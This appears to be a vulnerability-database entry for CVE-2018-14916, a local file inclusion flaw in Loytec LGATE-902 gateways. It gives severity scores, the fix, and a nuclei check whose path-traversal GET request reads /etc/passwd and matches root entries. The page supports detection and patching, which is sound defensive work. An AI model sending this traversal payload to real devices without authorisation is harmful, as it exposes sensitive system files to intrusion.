HexBrain

Browse / CVEs / CVE-2018-14916

CVE-2018-14916· loytec / lgate-902· CWE-732

Loytec LGATE-902 <6.4.2 - Local File Inclusion

criticalseverity
9.1CVSS score
17.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Loytec LGATE-902 versions prior to 6.4.2 suffers from a local file inclusion vulnerability.

Impact

An attacker can exploit this vulnerability to read sensitive files on the device.

Fix

Upgrade the Loytec LGATE-902 device to version 6.4.2 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-14916 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-14916

info:
  name: Loytec LGATE-902 <6.4.2 - Local File Inclusion
  author: 0x_Akoko
  severity: critical
  description: Loytec LGATE-902 versions prior to 6.4.2 suffers from a local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the device.
  remediation: |
    Upgrade the Loytec LGATE-902 device to version 6.4.2 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14916
    - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
    - https://seclists.org/fulldisclosure/2019/Apr/12
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2018-14916
    cwe-id: CWE-732
    epss-score: 0.17195
    epss-percentile: 0.97118
    cpe: cpe:2.3:h:loytec:lgate-902:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: loytec
    product: lgate-902
  tags: cve2018,cve,loytec,lfi,packetstorm,seclists,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from